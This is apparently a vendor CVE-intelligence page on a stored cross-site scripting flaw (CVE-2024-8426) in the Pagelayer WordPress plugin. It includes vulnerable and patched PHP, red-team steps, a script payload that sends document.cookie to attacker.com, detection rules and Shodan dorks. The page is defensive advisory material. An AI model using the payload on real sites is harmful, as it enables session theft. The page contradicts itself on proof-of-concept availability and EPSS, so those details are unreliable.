☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8426

CVE-2024-8426 Cross-Site Scripting in Pagelayer
📅 PUBLISHED: 2025-05-15 20:07 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8426 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Page Builder: Pagelayer WordPress plugin, affecting versions prior to 1.8.8. The vulnerability arises from insufficient sanitization and escaping of certain plugin settings, allowing high-privilege users (such as administrators) to inject arbitrary web scripts or HTML. This can lead to session hijacking, defacement, or redirection to malicious sites, even when the unfiltered_html capability is disallowed. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and is mapped to MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the high privileges required, the risk is elevated in multi-tenant or shared hosting environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Pagelayer plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official repository. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Calculated: 4.8 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): High – Requires admin-level access.
  • User Interaction (UI): Required – Victim must visit a crafted page.
  • Scope (S): Unchanged – Exploit stays within the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is low due to high privileges required, the impact is amplified in shared hosting or multi-site WordPress networks where an admin can compromise other sites.

Deep Dive & Mechanics

The vulnerability exists in the Pagelayer plugin’s settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. Specifically, the plugin fails to apply esc_html() or wp_kses() to certain configuration fields, allowing an admin to inject JavaScript or HTML. When another admin or user with appropriate roles visits the settings page, the injected payload executes in their browser context.

Root Cause: The plugin uses echo $value or similar constructs without escaping, directly outputting stored data. This bypasses WordPress’s built-in unfiltered_html restriction because the vulnerability is in the plugin’s own output handling, not in the core permission check.

Attack Flow:

  1. Attacker with admin privileges navigates to Pagelayer settings.
  2. Attacker injects a malicious script into a vulnerable field (e.g., custom CSS/JS or meta tags).
  3. The payload is stored in the WordPress database.
  4. When another admin visits the settings page, the payload executes.
  5. The attacker can steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.8.8):

// In pagelayer-settings.php
function pagelayer_render_field($field) {
    $value = get_option($field['name']);
    echo '<input type="text" name="' . $field['name'] . '" value="' . $value . '" />';
}

Patched Code (1.8.8+):

// In pagelayer-settings.php
function pagelayer_render_field($field) {
    $value = get_option($field['name']);
    $value = esc_attr($value); // Added escaping
    echo '<input type="text" name="' . esc_attr($field['name']) . '" value="' . $value . '" />';
}

The patch adds esc_attr() to sanitize the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • WordPress instance with Pagelayer < 1.8.8.
  • Admin credentials (e.g., admin:password).

Steps:

  1. Log in as admin.
  2. Navigate to Pagelayer settings (e.g., /wp-admin/admin.php?page=pagelayer).
  3. In a vulnerable field (e.g., "Custom CSS"), inject:
    <script>alert('XSS')</script>
    
  4. Save settings.
  5. As another admin, visit the same settings page. The script executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

  • Monitor for unusual changes to Pagelayer settings via audit logs.
  • Look for pagelayer options containing <script> tags in the database.

Hardening:

  • Upgrade to version 1.8.8 immediately.
  • Restrict admin access to trusted users only.
  • Implement Web Application Firewall (WAF) rules to block XSS payloads in settings fields.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/pagelayer/pagelayer-settings.php (vulnerable version)
  • Database Option: pagelayer_settings containing <script> tags.
  • Network: Outbound requests to attacker-controlled domains from admin sessions.
  • Logs: WordPress debug log entries showing pagelayer option updates with suspicious content.

Detection Engineering

YARA Rule

rule pagelayer_xss_cve_2024_8426 {
    meta:
        description = "Detects Pagelayer plugin files vulnerable to CVE-2024-8426"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8426"
    strings:
        $vuln_func = "echo '<input type=\"text\" name=\"' . $field['name'] . '\" value=\"' . $value . '\" />';"
        $patched_func = "esc_attr"
    condition:
        $vuln_func and not $patched_func
}

Sigma Rule

title: Pagelayer Stored XSS via Settings
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d2b3e1f0a7c
status: experimental
description: Detects stored XSS attempts in Pagelayer plugin settings
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Message|contains: "pagelayer_settings"
        Message|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Pagelayer Stored XSS - CVE-2024-8426"; flow:to_server,established; content:"pagelayer"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Pagelayer to version 1.8.8 or later via WordPress admin or WP-CLI:
    wp plugin update pagelayer
    
  2. Verify update by checking plugin version in /wp-content/plugins/pagelayer/readme.txt.

Long-term Mitigations:

  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Use WordPress security plugins (e.g., Wordfence) to monitor for XSS attempts.
  • Regularly audit admin accounts and restrict unfiltered_html capability.
  • Enable automatic updates for plugins.

Workaround (if patching is delayed):

  • Disable the Pagelayer plugin temporarily.
  • Use .htaccess to restrict access to Pagelayer settings page to specific IPs.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Pagelayer"
http.html:"pagelayer-settings"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8426/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.